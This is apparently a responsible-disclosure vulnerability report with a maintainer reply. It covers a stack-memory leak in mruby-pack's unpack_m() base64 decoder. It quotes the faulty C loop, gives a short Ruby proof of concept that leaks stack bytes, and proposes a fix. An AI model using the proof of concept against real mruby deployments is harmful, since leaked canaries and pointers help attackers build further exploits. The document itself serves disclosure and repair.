unpack_m() leaks stack values through uninitialized variables

[clayton-shopify]

https://hackerone.com/aerodudrizzt reported the following:

Brief

An attacker can cause the mruby-pack gem to leak stack values when unpacking a base64 value using the unpack_m() function.

Technical Details:

file: pack.c
branch: master
code flow:

1. Unpacking data - mrb_pack_unpack() function
2. Unpacking a base64 value from the packed string - unpack_m() function
3. The function uses a local array unsigned char ch[4] without properly initializing it before the first use
4. Later on, during the parsing loop, specially crafted packed data could cause the code to skip the initialization of the local array
5. This means we will use the original stack values as the "parsed" values

unsigned char c, ch[4];
...
padding = 0;
while (slen >= 4) {
    for (i = 0; i < 4; i++) {
      do {
        if (slen-- == 0)
          goto done;
        c = *sptr++;
        // EI-DBG: Here we could skip the assignment, leaving ch[i] untouched
      	if (c >= sizeof(base64_dec_tab))
      	  continue;
      	ch[i] = base64_dec_tab[c];
      	if (ch[i] == PACK_BASE64_PADDING) {
      	  ch[i] = 0;
      	  padding++;
      	}
      } while (ch[i] == PACK_BASE64_IGNORE);
    }

    l = (ch[0] << 18) + (ch[1] << 12) + (ch[2] << 6) + ch[3];

    if (padding == 0) {
      *dptr++ = (l >> 16) & 0xff;
      *dptr++ = (l >> 8) & 0xff;
      *dptr++ = l & 0xff;
    } else if (padding == 1) {
      *dptr++ = (l >> 16) & 0xff;
      *dptr++ = (l >> 8) & 0xff;
      break;
    } else {
      *dptr++ = (l >> 16) & 0xff;
      break;
    }
}

PoC Sample

orig1 = "0" * 4
orig2 = "\xC9" * 4

packed1 = (orig1).unpack("m").pack("m0")
packed2 = (orig2).unpack("m").pack("m0")

puts packed1 + " (" + packed1.unpack("CCCC").pack("C*").unpack("H*")[0] + ") == " + orig1 + " (" + orig1.unpack("CCCC").pack("C*").unpack("H*")[0] + ")"
puts packed2 + " (" + packed2.unpack("CCCC").pack("C*").unpack("H*")[0] + ") != " + orig2 + " (" + orig2.unpack("CCCC").pack("C*").unpack("H*")[0] + ")"

And the output will be:

0000 (30303030) == 0000 (30303030)
LzYJ (4c7a594a) != ֹֹֹֹ (c9c9c9c9)

In addition, since these are stack values the output will change each time we run the PoC script.

Proposed Fix:

Should update the while loop:

do {
     if (slen-- == 0)
       goto done;
     c = *sptr++;
     if (c >= sizeof(base64_dec_tab))
     	 continue;
     ch[i] = base64_dec_tab[c];
     if (ch[i] == PACK_BASE64_PADDING) {
       ch[i] = 0;
       padding++;
     }
} while (c >= sizeof(base64_dec_tab) || ch[i] == PACK_BASE64_IGNORE);

Impact

An attacker controlling the packed data could retrieve sensitive stack values using this unpacking technique, thus obtaining stack canaries / memory pointers that could be used to construct an exploit.

[matz]

Thank you for the fix proposal.